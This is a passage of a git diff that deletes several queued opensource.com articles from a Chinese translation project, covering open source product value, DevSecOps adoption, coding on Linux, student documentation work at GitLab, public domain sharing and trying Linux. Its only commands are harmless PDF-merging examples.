know the software as well? - - * **Compute resources:** You simply can't get access to compute resources without paying for them. There are free trials, but sustained usage always requires paying, either through a cloud provider or by buying hardware. In fact, this is one of the main differentiated values provided by infrastructure as a service (IaaS) and software as a service (SaaS) cloud providers. This is quite differentiated from upstream suppliers because they will never have the budget to provide free compute, storage, and network. - - * **Consulting:** Access to operational knowledge to set up and use the software may be a differentiator. Clearly, a company can hire the talent, given enough budget and willpower, but talent can be difficult to find. In fact, one might argue that software vendors have a much better chance of attracting the top talent, essentially creating a talent vacuum for users trying to reconstruct the value themselves. - - * **Training:** Similar to consulting, the company that wrote, configured, released, and operated the software at scale often knows how to use it best. Again, a customer could hire the talent given enough budget and willpower. - - * **Operational knowledge:** IaaS and SaaS solutions often provide this kind of value. Similarly, knowledge bases and connected experiences that analyze an installed environment's configuration to provide the user with insights (e.g., OpenShift, Red Hat Insights) can provide this value. Operational knowledge is similar to training and consulting. - - * **Support:** This includes the ability to call for help or file support tickets and is similar to training, consulting, and operational knowledge. Support is often a crutch for open source product managers; again, customers can often recreate their own support organizations, depending on where they want to strategically invest budget and people, especially for level one and level two support. Level three support (e.g., kernel programmers) might be harder to hire. - - * **Proprietary code:** This is code that's not released under an open source license. A customer could always build a software development team and augment the open core code with the missing features they need. For the vendor, proprietary code has the downside of creating an unnatural competition between the upstream open source supplier and the downstream product. Furthermore, this unnatural split between open source and proprietary code does not provide the customer more value. It always feels like value is being unnaturally held back. I would argue that this is a very suboptimal form of value capture. - - * **Brand:** Brand equity is not easily measurable. It really comes down to a general level of trust. The customer needs to believe that the solution provider can and will help them when they need it. It's slow to build a brand and easy to lose it. Careful thought might reveal that the same is true with internal support organizations in a company. Users will quickly lose trust in internal support organizations, and it can take years to build it back up. - - - - -Reading through the list, do you think a potential customer could recreate the value of almost any of these items? The answer is almost assuredly yes. This is true with almost any product feature or capability, whether it's open source or even proprietary. Cloud providers build their own CPUs and hardware, and delivery companies (e.g., UPS, Amazon, etc.) sometimes build their own vehicles. Whether it makes sense to build or buy all depends on the business and its specific needs. - -### Add value in the right places - -The open source licensing model led to an explosion in the availability of components that can be assembled into a software product. Stated another way, it formed a huge supply chain of software. Product managers can create products from a completely open source supply chain (e.g., Red Hat, Chef, SUSE, etc.), or mix and match open source and proprietary technology (e.g., open core like Sourcefire or SugarCRM). Choosing a fully open source versus open core methodology should not be confused with solving a business problem. Customers only buy products that solve their problems. - -Enterprise open source products are solutions to problems, much like a vehicle sold by an auto manufacturer. The product manager for an open source product determines the requirements, things like the lifecycle (number of years), security (important certifications), performance (important workloads), and ecosystem (partners). Some of these requirements can be met by upstream suppliers (open source projects); some cannot. - -An open source product is a composition of value consumed through a supply chain of upstream vendors and new value added by the company creating it. This new value combined with the consumed value is often worth more together and sold at a premium. It's the responsibility of product teams (including engineering, quality, performance, security, legal, etc.) to add new value in the right places, at the right times, to make their open source products worth the price customers pay versus building out the infrastructure necessary to assemble, maintain, and support the upstream components themselves. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/differentiating-products-upstream-suppliers - -作者:[Scott McCarty][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/fatherlinux -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gears_devops_learn_troubleshooting_lightbulb_tips_520.png?itok=HcN38NOk (Tips and gears turning) -[2]: https://opensource.com/article/20/10/open-source-supply-chain -[3]: https://opensource.com/article/20/10/defining-product-open-source -[4]: https://opensource.com/article/20/11/open-source-product-teams -[5]: https://opensource.com/article/20/6/sell-open-source-software -[6]: https://opensource.com/sites/default/files/uploads/creatingvalue1.png (Inputs for creating value) -[7]: https://creativecommons.org/licenses/by-sa/4.0/ -[8]: https://opensource.com/sites/default/files/uploads/creatingvalue2.png (Inputs for solving market problems) diff --git a/sources/talk/20210212 How to adopt DevSecOps successfully.md b/sources/talk/20210212 How to adopt DevSecOps successfully.md deleted file mode 100644 index 27d6b9c41e..0000000000 --- a/sources/talk/20210212 How to adopt DevSecOps successfully.md +++ /dev/null @@ -1,128 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to adopt DevSecOps successfully) -[#]: via: (https://opensource.com/article/21/2/devsecops) -[#]: author: (Mike Calizo https://opensource.com/users/mcalizo) - -How to adopt DevSecOps successfully -====== -Integrating security throughout the software development lifecycle is -important, but it's not always easy. -![Target practice][1] - -Adopting [DevOps][2] can help an organization transform and speed how its software is delivered, tested, and deployed to production. This is the well-known "DevOps promise" that has led to such a large surge in adoption. - -We've all heard about the many successful DevOps implementations that changed how an organization approaches software innovation, making it fast and secure through agile delivery to get [ahead of competitors][3]. This is where we see DevOps' promises achieved and delivered. - -But on the flipside, some DevOps adoptions cause more issues than benefits. This is the DevOps dilemma where DevOps fails to deliver on its promises. - -There are many factors involved in an unsuccessful DevOps implementation, and a major one is security. A poor security culture usually happens when security is left to the end of the DevOps adoption process. Applying existing security processes to DevOps can delay projects, cause frustrations within the team, and create financial impacts that can derail a project. - -[DevSecOps][4] was designed to avoid this very situation. Its purpose "is to build on the mindset that 'everyone is responsible for security…'" It also makes security a consideration at all levels of DevOps adoption. - -### The DevSecOps process - -Before DevOps and DevSecOps, the app security process looked something like the image below. Security came late in the software delivery process, after the software was accepted for production. - -![Old software development process with security at the end][5] - -(Michael Calizo, [CC BY-SA 4.0][6]) - -Depending on the organization's security profile and risk appetite, the application might even bypass security reviews and processes during acceptance. At that point, the security review becomes an audit exercise to avoid unnecessary project delays. - -![Security as audit in software development][7] - -(Michael Calizo, [CC BY-SA 4.0][6]) - -The DevSecOps [manifesto][8] says that the reason to integrate security into dev and ops at all levels is to implement security with less friction, foster innovation, and make sure security and data privacy are not left behind. - -Therefore, DevSecOps encourages security practitioners to adapt and change their old, existing security processes and procedures. This may be sound easy, but changing processes, behavior, and culture is always difficult, especially in large environments. - -The DevSecOps principle's basic requirement is to introduce a security culture and mindset across the entire application development and deployment process. This means old security practices must be replaced by more agile and flexible methods so that security can iterate and adapt to the fast-changing environment. According to the DevSecOps manifesto, security needs to "operate like developers to make security and compliance available to be consumed as services." - -DevSecOps should look like the figure below, where security is embedded across the delivery cycle and can iterate every time there is a need for change or adjustment. - -![DevSecOps considers security throughout development][9] - -(Michael Calizo, [CC BY-SA 4.0][6]) - -### Common DevSecOps obstacles - -Any time changes are introduced, people find faults or issues with the new process. This is natural human behavior. The fear and inconvenience associated with learning new things are always met with adverse reactions; after all, humans are creatures of habit. - -Some common obstacles in DevSecOps adoption include: - - * **Vendor-defined DevOps/DevSecOps:** This means principles and processes are focused on product offerings, and the organization won't be able to build the approach. Instead, they will be limited to what the vendor provides. - * **Nervous people managers:** The fear of losing control is a real problem when change happens. Often, anxiety affects people managers' decision-making. - * **If ain't broke, don't fix it:** This is a common mindset, and you really can't blame people for thinking this way. But the idea that the old way will survive despite new ways of delivering software and solutions must be challenged. To adapt to the agile application lifecycle, you need to change the processes to support the speed and agility it requires. - * **The Netflix and Uber effect:** Everybody knows that Netflix and Uber have successfully implemented DevSecOps; therefore, many organizations want to emulate them. Because they have a different culture than your organization, simply emulating them won't work. - * **Lack of measurement:** DevOps and DevSecOps transformation must be measured against set goals. Metrics might include software delivery performance or overall organization performance over time. - * **Checklist-driven security:** By using a checklist, the security team follows the same old, static, and inflexible processes that are neither useful nor applicable to modern technologies that developers use to make software delivery lean and agile. The introduction of the "[as code][10]" approach requires security people to learn how to code. - * **Security as a special team:** This is especially true in organizations transitioning from the old ways of delivering software, where security is a separate entity, to DevOps. Because of the separations, trust is questionable among devs, ops, and security. This will cause the security team to spend unnecessary time reviewing and governing DevOps processes and building pipelines instead of working closely with developers and ops teams to improve the software delivery flow. - - - -### How to adopt DevSecOps successfully - -Adopting DevSecOps is not easy, but being aware of common obstacles and challenges is key to your success. - -Clearly, the biggest and most important change an organization needs to make is its culture. Cultural change usually requires executive buy-in, as a top-down approach is necessary to convince people to make a successful turnaround. You might hope that executive buy-in makes cultural change follow naturally, but don't expect smooth sailing—executive buy-in alone is not enough. - -To help accelerate cultural change, the organization needs leaders and enthusiasts that will become agents of change. Embed these people in the dev, ops, and security teams to serve as advocates and champions for culture change. This will also establish a cross-functional team that will share successes and learnings with other teams to encourage wider adoption. - -Once that is underway, the organization needs a DevSecOps use-case to start with, something small with a high potential for success. This enables the team to learn, fail, and succeed without affecting the organization's core business. - -The next step is to identify and agree on the definition of success. The DevSecOps adoption needs to be measurable; to do that, you need a dashboard that shows metrics such as: - - * Lead time for a change - * Deployment frequency - * Mean time to restore - * Change failure - - - -These metrics are a critical requirement to be able to identify processes and other things that require improvement. It's also a tool to declare if an adoption is a win or a bust. This methodology is called [event-driven transformation][11]. - -### Conclusion - -When implemented properly, DevOps enables an organization to deliver software to production quickly and gain advantages over competitors. DevOps allows it to fail small and recover faster by enabling flexibility and efficiency to go to market early. - -In summary, DevOps and DevSecOps adoption needs: - - * Cultural change - * Executive buy-in - * Leaders and enthusiasts to act as evangelists - * Cross-functional teams - * Measurable indicators - - - -Ultimately, the solution to the DevSecOps dilemma relies on cultural change to make the organization better. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/devsecops - -作者:[Mike Calizo][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mcalizo -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/target-security.png?itok=Ca5-F6GW (Target practice) -[2]: https://opensource.com/resources/devops -[3]: https://www.imd.org/research-knowledge/articles/the-battle-for-digital-disruption-startups-vs-incumbents/ -[4]: http://www.devsecops.org/blog/2015/2/15/what-is-devsecops -[5]: https://opensource.com/sites/default/files/uploads/devsecops_old-process.png (Old software development process with security at the end) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://opensource.com/sites/default/files/uploads/devsecops_security-as-audit.png (Security as audit in software development) -[8]: https://www.devsecops.org/ -[9]: https://opensource.com/sites/default/files/uploads/devsecops_process.png (DevSecOps considers security throughout development) -[10]: https://www.oreilly.com/library/view/devopssec/9781491971413/ch04.html -[11]: https://www.openshift.com/blog/exploring-a-metrics-driven-approach-to-transformation diff --git a/sources/talk/20210213 5 reasons why I love coding on Linux.md b/sources/talk/20210213 5 reasons why I love coding on Linux.md deleted file mode 100644 index 64c968d669..0000000000 --- a/sources/talk/20210213 5 reasons why I love coding on Linux.md +++ /dev/null @@ -1,102 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 reasons why I love coding on Linux) -[#]: via: (https://opensource.com/article/21/2/linux-programming) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -5 reasons why I love coding on Linux -====== -Linux is a great platform for programming—it's logical, easy to see the -source code, and very efficient. -![Terminal command prompt on orange background][1] - -In 2021, there are more reasons why people love Linux than ever before. In this series, I'll share 21 different ways to use Linux. Here I'll explain why so many programmers choose Linux. - -When I first started using Linux, it was for its excellent multimedia support because I worked in film production. We found that the typical proprietary video editing applications couldn't handle most of the footage we were pulling from pretty much any device that could record an image. At the time, I wasn't aware that Linux had a reputation as an operating system for servers and programmers. The more I did on Linux, the more I wanted to control every aspect of it. And in the end, I discovered that a computer was at its most powerful when its user could "speak" its language. Within a few years of switching to Linux, I was scripting unattended video edits, stringing together audio files, bulk editing photos, and anything else I could imagine and then invent a solution for. It didn't take long for me to understand why programmers loved Linux, but it was Linux that taught me to love programming. - -It turns out that Linux is an excellent platform for programmers, both new and experienced. It's not that you _need_ Linux to program. There are successful developers on all different kinds of platforms. However, Linux has much to offer developers. Here are a few things I've found useful. - -### Foundations of logic - -Linux is built around [automation][2]. It's very intentional that staple applications on Linux can at the very least launch from a terminal with additional options, and often they can even be used entirely from the terminal. This idea is sometimes mistaken as a primitive computing model because people mistakenly believe that writing software that operates from a terminal is just doing the bare minimum to get a working application. This is an unfortunate misunderstanding of how code works, but it's something many of us are guilty of from time to time. We think _more_ is always better, so an application containing 1,000 lines of code must be 100 times better than one with ten lines of code, right? The truth is that all things being equal, the application with greater flexibility is preferable, regardless of how that translates to lines of code. - -On Linux, a process that might take you an hour when done manually can literally be reduced to one minute with the right terminal command, and possibly less when parsed out to [GNU Parallel][3]. This phenomenon requires a shift in how you think about what a computer does. For instance, if your task is to add a cover image to 30 PDF files, you might think this is a sensible workflow: - - 1. Open a PDF in a PDF editor - 2. Open the front cover - 3. Append a PDF to the end of the cover file - 4. Save the file as a new PDF - 5. Repeat this process for each old PDF (but do not duplicate this process for each new PDF) - - - -It's mostly common sense stuff, and while it's painfully repetitive, it does get the job done. On Linux, however, you're able to work smarter than that. The thought process is similar: First, you devise the steps required for a successful result. After some research, you'd find out about the `pdftk-java` command, and you'd discover a simple solution: - - -``` -$ pdftk A=cover.pdf B=document_1.pdf \ - cat A B \ - output doc+cover_1.pdf -``` - -Once you've proven to yourself that the command works on one document, you take time to learn about looping options, and you settle on a parallel operation: - - -``` -$ find ~/docs/ -name "*.pdf" | \ - parallel pdftk A=cover.pdf B={} \ - cat A B \ - output {.}.cover.pdf -``` - -It's a slightly different way of thinking because the "code" you write processes data differently than the enforced linearity you're used to. However, getting out of your old linear way of thinking is important for writing actual code later, and it has the side benefit of empowering you to compute smarter. - -### Code connections - -No matter what platform you're programming for when you write code, you're weaving an intricate latticework of invisible connections between many different files. In all but the rarest cases, code draws from headers and relies on external libraries to become a complete program. This happens on any platform, but Linux tends to encourage you to understand this for yourself, rather than blindly trusting the platform's development kit to take care of it for you. - -Now, there's nothing wrong with trusting a development kit to resolve _library_ and _include_ paths. On the contrary, that kind of abstraction is a luxury you should enjoy. However, if you never understand what's happening, then it's a lot harder to override the process when you need to do something that a dev kit doesn't know about or to troubleshoot problems when they arise. - -This translates across platforms, too. You can develop code on Linux that you intend to run on Linux as well as other operating systems, and your understanding of how code compiles helps you hit your targets. - -Admittedly, you don't learn these lessons just by using Linux. It's entirely possible to blissfully code in a good IDE and never give a thought to what version of a library you have installed or where the development headers are located. However, Linux doesn't hide anything from you. It's easy to dig down into the system, locate the important parts, and read the code they contain. - -### Existing code - -Knowing where headers and libraries are located is useful, but having them to reference is yet another added bonus to programming on Linux. On Linux, you get to see the source code of basically anything you want (excluding applications that aren't open source but that run on Linux). The benefit here cannot be overstated. As you learn more about programming in general or about programming something new to you, you can learn a lot by referring to existing code on your Linux system. Many programmers have learned how to code by reading other people's open source code. - -On proprietary systems, you might find developer documentation with code samples in it. That's great because documentation is important, but it pales in comparison to locating the exact functionality you want to implement and then finding the source code demonstrating how it was done in an application you use every day. - -### Direct access to peripherals - -Something I often took for granted after developing code for media companies using Linux is access to peripherals. For instance, when connecting a video camera to Linux, you can pull incoming data from **/dev/video0** or similar. Everything's in **/dev**, and it's always the shortest path between two points to get there. - -That's not the case on other platforms. Connecting to systems outside of the operating system is often a maze of SDKs, restricted libraries, and sometimes NDAs. This, of course, varies depending on what you're programming for, but it's hard to beat Linux's simple and predictable interface. - -### Abstraction layers - -Conversely, Linux also provides a healthy set of abstraction layers for when direct access or manual coding ends up creating more work than you want to do. There are conveniences found in Qt and Java, and there are whole stacks like Pulse Audio, Pipewire, and gstreamer. Linux _wants_ you to be able to code, and it shows. - -### Add to this list - -There are more reasons that make coding on Linux a pleasure. Some are broad concepts and others are overly-specific details that have saved me hours of frustration. Linux is a great place to be, no matter what platform you're targeting. Whether you're just learning about programming or you're a coder looking for a new digital home, there's no better workspace for programming than Linux. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/linux-programming - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/terminal_command_linux_desktop_code.jpg?itok=p5sQ6ODE (Terminal command prompt on orange background) -[2]: https://opensource.com/article/20/11/orchestration-vs-automation -[3]: https://opensource.com/article/18/5/gnu-parallel diff --git a/sources/talk/20210213 How open source provides students with real-world experience.md b/sources/talk/20210213 How open source provides students with real-world experience.md deleted file mode 100644 index ae5db3c45e..0000000000 --- a/sources/talk/20210213 How open source provides students with real-world experience.md +++ /dev/null @@ -1,112 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How open source provides students with real-world experience) -[#]: via: (https://opensource.com/article/21/2/open-source-student) -[#]: author: (Laura Novich https://opensource.com/users/laura-novich) - -How open source provides students with real-world experience -====== -Contributing to open source gives students the real-world experience -required to land a good job. -![Woman sitting in front of her computer][1] - -In the movie _The Secret of My Success_, Brantley Foster (played by Michael J. Fox) expresses the exact thought that goes through every new graduate's mind: "How can I get any experience until I get a job that _gives_ me experience?" - -The hardest thing to do when starting a new career is to get experience. Often this creates a paradox. How do you get work with no experience, and how do you get experience with no work? - -In the open source software world, this conundrum is a bit less daunting because your experience is what you make of it. By working with open source projects sponsored by open source software (OSS) companies, you gain experience working on projects you like for companies that make you feel important, and then you use that experience to help find employment. - -Most companies would never allow newbies to touch their intellectual property and collateral without signing a non-disclosure agreement (NDA) or going through some kind of training or security check. However, when your source code is open and anyone in the world can contribute to it (in addition to copy it and use it), this is no longer an issue. In fact, open source companies embrace their contributors and create communities where students can easily get their feet wet and find their way in coding, testing, and documentation. Most open source companies depend on the contributions of others to get work done. This means the contributors work for free simply because they want to. For students, it translates into an unpaid internship and getting some real-world experience. - -At [Our Best Words][2], we decided to run a pilot project to see if our students could work in an open source documentation project and find the experience beneficial to jumpstarting their new careers in technical communication. - -![GitLab screenshot][3] - -(Laura Novich, [CC BY-SA 4.0][4]) - -I was the initiator and point of contact for the project, and I approached several companies. The company that gave us the most positive response was [GitLab][5]. GitLab is a company that creates software for Git repository management, issue tracking, and continuous integration/continuous delivery (CI/CD) pipeline management. Its software is used by hundreds of thousands of organizations worldwide, and in 2019, it announced it achieved $100 million in annual recurring revenue. - -GitLab's [Mike Jang][6] connected me with [Marcin Sedlak-Jakubowski][7] and [Marcia Dias Ramos][8], who are located closer to OBW's offices in Israel. We met to hammer out the details, and everyone had their tasks to launch the pilot in mid-September. Mike, Marcia, and Marcin hand-picked 19 issues for the students to solve. Each issue was tagged _Tich-Tov-only_ for OBW students, and any contributor who was not an OBW student was not allowed to work on the issue. - -To prepare the students, I held several demonstrations with GitLab. The students had never used the software before, and some were quite nervous. As the backbone of GitLab is Git, a software tool the students were already familiar with, it wasn't too hard to learn. Following the demonstrations, I sent the students a link to a Google Drive folder with tutorials, a FAQ, and other valuable resources. - -The issues the students were assigned came from GitLab's documentation. The documentation is written in Markdown and is checked with a linter (a static code analysis tool) called Vale. The students' assignments were to fix issues that the Vale linter found. The changes included fixing spelling, grammar, usage, and voice. In some cases, entire pages had to be rewritten. - -As I wanted this project to run smoothly and successfully, we decided to limit the pilot to seven of our 14 students. This allowed me to manage the project more closely and to make sure each student had only two to three issues to handle during the two-month time period of the project. - -![GitLab repo][9] - -(Laura Novich, [CC BY-SA 4.0][4]) - -The OBW students who were part of this project (with links to their GitLab profiles) were: - - * [Aaron Gorsuch][10] - * [Anna Lester][11] - * [Avi Chazen][12] - * [Ela Greenberg][13] - * [Rachel Gottesman][14] - * [Stefanie Saffern][15] - * [Talia Novich][16] - - - -We worked mostly during September and October and wrapped up the project in November. Every issue the students had was put on a Kanban board. We had regular standup meetings, where we discussed what we were doing and any issues causing difficulty. There were many teachable moments where I would help with repository issues, troubleshooting merge requests, and helping the students understand technical writing theories in practice. - -![Kanban board][17] - -(Laura Novich, [CC BY-SA 4.0][4]) - -November came faster than we expected and looking back, the project ended way too quickly. About midway in, I collected feedback from Marcin, Marcia, and Mike, and they told me their experience was positive. They told us that once we were done, we could take on more issues than the original allotment assigned to the group, if we wanted. - -One student, Rachel Gottesman, did just that. She completed 33 merge requests and helped rewrite pages of GitLab's documentation. She was so instrumental for the 13.7 release that [GitLab announced][18] that Rachel is the MVP for the release! We at OBW couldn't be more thrilled! _Congratulations, Rachel!_ - -![Rachel Gottesman's GitLab MVP award][19] - -(Laura Novich, [CC BY-SA 4.0][4]) - -Rachel's name appears [on GitLab's MVP page][20]. - -We are gearing up for our new year and a new course. We plan to run this project again as part of our [Software Documentation for Technical Communication Professionals][21] course. - -* * * - -_This article originally appeared on [Our Best Words Blog][22] and is republished with permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/open-source-student - -作者:[Laura Novich][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/laura-novich -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_2.png?itok=JPlR5aCA (Woman sitting in front of her computer) -[2]: https://ourbestwords.com/ -[3]: https://opensource.com/sites/default/files/uploads/gitlab.png (GitLab screenshot) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://about.gitlab.com/ -[6]: https://www.linkedin.com/in/mijang/ -[7]: https://www.linkedin.com/in/marcin-sedlak-jakubowski-91143a124/ -[8]: https://www.linkedin.com/in/marciadiasramos/ -[9]: https://opensource.com/sites/default/files/uploads/gitlab_obw_repo.png (GitLab repo) -[10]: https://gitlab.com/aarongor -[11]: https://gitlab.com/Anna-Lester -[12]: https://gitlab.com/avichazen -[13]: https://gitlab.com/elagreenberg -[14]: https://gitlab.com/gottesman.rachelg -[15]: https://gitlab.com/stefaniesaffern -[16]: https://gitlab.com/TaliaNovich -[17]: https://opensource.com/sites/default/files/uploads/kanban.png (Kanban board) -[18]: https://release-13-7.about.gitlab-review.app/releases/2020/12/22/gitlab-13-7-released/ -[19]: https://opensource.com/sites/default/files/uploads/rachelgottesmanmvp.png (Rachel Gottesman's GitLab MVP award) -[20]: https://about.gitlab.com/community/mvp/ -[21]: https://ourbestwords.com/training-courses/skills-courses/ -[22]: https://ourbestwords.com/topic/blog/ diff --git a/sources/talk/20210214 Give something from the heart to the public domain.md b/sources/talk/20210214 Give something from the heart to the public domain.md deleted file mode 100644 index 07ea72f223..0000000000 --- a/sources/talk/20210214 Give something from the heart to the public domain.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Give something from the heart to the public domain) -[#]: via: (https://opensource.com/article/21/2/public-domain) -[#]: author: (Jen Wike Huger https://opensource.com/users/jen-wike) - -Give something from the heart to the public domain -====== -The team at Creative Commons wants you to share a creation to the Public -Domain as a show of support for openly sharing content. -![Red Lego Heart][1] - -Did you know that most of the articles published on Opensource.com are licensed under Creative Commons [BY-SA 4.0][2]? - -One of the biggest reasons our editorial team decided on this license over 10 years ago is because we support the idea that the best content is _shared_ content. As we strive to be open, our goal is for any many people as possible to have access to the information we're putting out there to support our mission to help others learn and grow and to explore new open source worlds. - -So, what does this have to do with Valentine's Day (or Friend's Day in Finland)? - -The team at Creative Commons wants you to [share a creation][3] to the [Public Domain][4] as a show of support for openly sharing content. It could be an image, song, artwork, poem, GIF, research paper... the list goes on! But "why?" I hear you asking. What's so special about the Public Domain? Well, did you hear about Nathan Evans's rendition of the sea shanty song "The Wellerman" that went viral? Here's what Creative Commons CEO Catherine Stihler [had to say about it][5]: - -"It is important to note that this flourishing creative scene is only possible because sea shanties are in the public domain—not under restrictive copyright rules. Therefore, they can be played, reused, dueted, remixed, and transformed. This, combined with the internet, means a postal worker in Airdrie can reach a global audience within seconds. Thanks to emerging technologies and social platforms, the public domain can both enable creativity and benefit from it with the invention of new works that are also free of copyright restrictions. (The hope is that these new works are put back into the public domain!) This expressiveness in new works and collaborations is bringing joy and uplifting our spirits as we continue to face daunting challenges." - -So, I'll add a twist on their Valentine's Day challenge: If you want to share something you've created but aren't sure about going totally Public Domain, check out the other [options for licensing][6] from CC BY to CC0. And to lower the bar even more to entice you to join in: You don't have to create something new, right now. Search through your archives for something you created last year or five years ago, and give it new life today with a new license. - - 1. Find the thing you want to share - 2. If it's not already, prepare it in digital format - 3. [Select the place][6] you want to share it to, like the Internet Archive, Flickr, etc. - 4. Upload and append attribution including "Public Domain" or [other Creative Commons open license][7] - - - -I'm a plant person, so [here's mine][8]! - -![Neon-colored herbal bundles][9] - -“[Neon-colored herbal bundles][8]” by Jen Wike Huger is licensed under Public Domain. - -If you aren't in the creating mood but want to find some great CC-licensed content, use the [search.creativecommons.org][10] tool. Then, take a peek at the best way to [give credit back][11] when you use what you find. - -Virtual high-fives and sweet treats from our team to you and yours! - -You don't need to be a master coder to contribute to open source. Jade Wang shares 8 ways you can... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/public-domain - -作者:[Jen Wike Huger][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jen-wike -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/heart_lego_ccby20.jpg?itok=VRpHf4iU (Red Lego Heart) -[2]: https://creativecommons.org/licenses/by-sa/4.0/ -[3]: https://creativecommons.org/2021/02/10/open-sharing-is-caring/ -[4]: https://creativecommons.org/share-your-work/public-domain/ -[5]: https://creativecommons.org/2021/02/03/the-postal-worker-a-sea-shanty-and-the-public-domain/ -[6]: https://creativecommons.org/share-your-work/ -[7]: https://creativecommons.org/choose/ -[8]: https://archive.org/details/neon_inverted_herbal_bundle -[9]: https://opensource.com/sites/default/files/uploads/neon_inverted_herbal_bundle.jpg (Neon-colored herbal bundles) -[10]: https://search.creativecommons.org/ -[11]: https://creativecommons.org/use-remix/attribution/ diff --git a/sources/talk/20210215 Why everyone should try using Linux.md b/sources/talk/20210215 Why everyone should try using Linux.md deleted file mode 100644 index d32154a80b..0000000000 --- a/sources/talk/20210215 Why everyone should try using Linux.md +++ /dev/null @@ -1,107 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why everyone should try using Linux) -[#]: via: (https://opensource.com/article/21/2/try-linux) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Why everyone should try using Linux -====== -If you're curious about Linux, the open source community makes sure it's -easy to try. -![Woman sitting in front of her computer][1] - -In 2021, there are more reasons why people love Linux than ever before. In this series, I'll share 21 different reasons to use Linux. Let's explore why anyone can try Linux. - -Linux can seem mysterious to the uninitiated. People talk about Linux like it's something only meant for computer programmers or sysadmins, yet people also talk about running Linux on laptops or mobile devices. Tech sites list the [top 10 Linux commands][2] you [need to know][3], and yet there's just as much talk about [how exciting the Linux desktops (plural!) are][4]. - -So what's Linux all about, really? - -Well, one of the many important things about Linux is its dedication to availability. If you're curious about Linux, the open source community makes sure it's easy to try. - -### Try Linux without trying Linux - -It doesn't matter whether you're switching from Windows to Linux, Windows to Mac (or Mac to Windows), or from Mac to Linux: Changing your computing style is hard. It's not often discussed, but modern computing is a strangely personal thing. Everyone gets comfortable with their own computer, and they tend to dislike big changes. Just shifting back and forth between my work computer and my personal computer (both of which run the same OS) requires mental and muscle adjustment for me, simply because the two are "optimized" for different kinds of activities. Even though I inevitably end up being referred to just as "the guy who knows computers" in my local communities (and I do like to think that I do), were I forced to change the OS I use, my sense of productivity and enjoyment would plummet for a week or two. The thing is, it's mostly superficial. I know how to use other operating systems, but I'd need time to establish new instincts and habits. I'd need a chance to remember where some of the small configuration options are located in a new OS, and I'd have to discover new features to capitalize upon. - -For this reason, I often tell people who are curious about Linux that the first step is to use Linux _applications_. There aren't actually that many applications exclusive to Linux, largely because most apps on Linux are open source and are therefore eagerly ported between all platforms. But there are lots of applications commonly found on Linux that you can also try on your current non-Linux platform. Make it a goal to replace the applications you default to, either by force of habit or convenience, with open source equivalents. - -### Replacing apps - -The end goal of this exercise is to make a soft transition to Linux by way of the applications you'll eventually be running. Once you're used to a new set of applications, there's not much left to get used to on Linux, aside from system settings and file management. - -If you're not sure what applications you use the most, just take a look at your **Recent Applications** menu (if your OS doesn't have a Recent Applications menu, then it might be time to switch to Linux). Once you've identified your must-have applications, take a look at our [Application Alternatives][5] page to learn about many of the common open source apps considered equivalents to popular proprietary ones. - -### Getting Linux - -Not all open source applications get ported to all platforms, and many ultimately benefit from running on Linux. Eventually, if you're keen to switch to Linux, it pays to complete the transition. Luckily, getting Linux is as easy as downloading it, almost as if it were just another open source app. - -Usually, a Linux installation image features a Live mode and an Installation mode. That means you can boot from a Linux drive and use it in Live mode without actually installing it to your computer. This is a great way to get a hint of what the OS is like, but it's only a temporary experience because data isn't retained between boots. However, there are distributions, like [Porteus Linux][6], specially designed for running exclusively off of a USB thumb drive so that your personal data is 